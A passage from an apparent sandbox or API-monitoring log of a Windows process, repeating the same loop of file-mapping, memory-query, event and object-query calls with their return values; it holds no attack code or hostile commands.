dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.596] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.596] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.596] ResetEvent (hEvent=0x110) returned 1 [0259.597] SetEvent (hEvent=0x114) returned 1 [0259.597] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.597] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.597] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.597] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.597] ResetEvent (hEvent=0x110) returned 1 [0259.597] SetEvent (hEvent=0x114) returned 1 [0259.597] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.597] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.597] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.597] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.597] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.597] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.597] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.597] ResetEvent (hEvent=0x110) returned 1 [0259.597] SetEvent (hEvent=0x114) returned 1 [0259.597] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.597] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.598] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.598] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.598] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.598] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.598] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.598] ResetEvent (hEvent=0x110) returned 1 [0259.598] SetEvent (hEvent=0x114) returned 1 [0259.598] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.598] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.598] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.598] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.598] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.598] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.598] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.598] ResetEvent (hEvent=0x110) returned 1 [0259.598] SetEvent (hEvent=0x114) returned 1 [0259.598] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.598] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.599] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.599] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.599] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.599] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.599] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.599] ResetEvent (hEvent=0x110) returned 1 [0259.599] SetEvent (hEvent=0x114) returned 1 [0259.599] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.599] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.599] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.599] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.599] ResetEvent (hEvent=0x110) returned 1 [0259.599] SetEvent (hEvent=0x114) returned 1 [0259.599] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.599] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.599] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.599] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.599] ResetEvent (hEvent=0x110) returned 1 [0259.599] SetEvent (hEvent=0x114) returned 1 [0259.600] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.600] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.600] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.600] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.600] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.600] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.600] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.600] ResetEvent (hEvent=0x110) returned 1 [0259.600] SetEvent (hEvent=0x114) returned 1 [0259.600] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.600] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.600] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.600] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.600] ResetEvent (hEvent=0x110) returned 1 [0259.600] SetEvent (hEvent=0x114) returned 1 [0259.600] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.600] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.600] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.600] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.601] ResetEvent (hEvent=0x110) returned 1 [0259.601] SetEvent (hEvent=0x114) returned 1 [0259.601] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.601] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.601] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.601] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.601] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.601] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.601] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.601] ResetEvent (hEvent=0x110) returned 1 [0259.601] SetEvent (hEvent=0x114) returned 1 [0259.601] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.601] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.601] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.601] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.601] ResetEvent (hEvent=0x110) returned 1 [0259.601] SetEvent (hEvent=0x114) returned 1 [0259.601] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.602] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.602] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.602] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.602] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.602] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.602] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.602] ResetEvent (hEvent=0x110) returned 1 [0259.602] SetEvent (hEvent=0x114) returned 1 [0259.602] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.602] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.602] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.602] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.602] ResetEvent (hEvent=0x110) returned 1 [0259.602] SetEvent (hEvent=0x114) returned 1 [0259.602] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.602] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.602] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.602] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.602] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.603] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.603] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.603] ResetEvent (hEvent=0x110) returned 1 [0259.603] SetEvent (hEvent=0x114) returned 1 [0259.603] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.603] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.603] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.603] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.603] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.603] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.603] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.603] ResetEvent (hEvent=0x110) returned 1 [0259.603] SetEvent (hEvent=0x114) returned 1 [0259.603] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.603] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.603] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.603] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.603] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.603] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.603] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.604] ResetEvent (hEvent=0x110) returned 1 [0259.604] SetEvent (hEvent=0x114) returned 1 [0259.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.604] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.604] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.604] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.604] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.604] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.604] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.604] ResetEvent (hEvent=0x110) returned 1 [0259.604] SetEvent (hEvent=0x114) returned 1 [0259.604] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.604] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.604] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.604] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.604] ResetEvent (hEvent=0x110) returned 1 [0259.604] SetEvent (hEvent=0x114) returned 1 [0259.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.605] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.605] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.605] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.605] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.605] ResetEvent (hEvent=0x110) returned 1 [0259.605] SetEvent (hEvent=0x114) returned 1 [0259.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.605] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.605] ResetEvent (hEvent=0x110) returned 1 [0259.605] SetEvent (hEvent=0x114) returned 1 [0259.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.605] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.605] ResetEvent (hEvent=0x110) returned 1 [0259.606] SetEvent (hEvent=0x114) returned 1 [0259.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.606] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.606] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.606] ResetEvent (hEvent=0x110) returned 1 [0259.606] SetEvent (hEvent=0x114) returned 1 [0259.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.606] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.606] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.606] ResetEvent (hEvent=0x110) returned 1 [0259.606] SetEvent (hEvent=0x114) returned 1 [0259.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.606] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.606] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.606] ResetEvent (hEvent=0x110) returned 1 [0259.607] SetEvent (hEvent=0x114) returned 1 [0259.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.607] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.607] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.607] ResetEvent (hEvent=0x110) returned 1 [0259.607] SetEvent (hEvent=0x114) returned 1 [0259.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.607] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.607] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.607] ResetEvent (hEvent=0x110) returned 1 [0259.607] SetEvent (hEvent=0x114) returned 1 [0259.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.607] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.607] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.607] ResetEvent (hEvent=0x110) returned 1 [0259.608] SetEvent (hEvent=0x114) returned 1 [0259.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.608] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.608] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.608] ResetEvent (hEvent=0x110) returned 1 [0259.608] SetEvent (hEvent=0x114) returned 1 [0259.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.608] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.608] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.608] ResetEvent (hEvent=0x110) returned 1 [0259.608] SetEvent (hEvent=0x114) returned 1 [0259.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.608] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.608] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.608] ResetEvent (hEvent=0x110) returned 1 [0259.609] 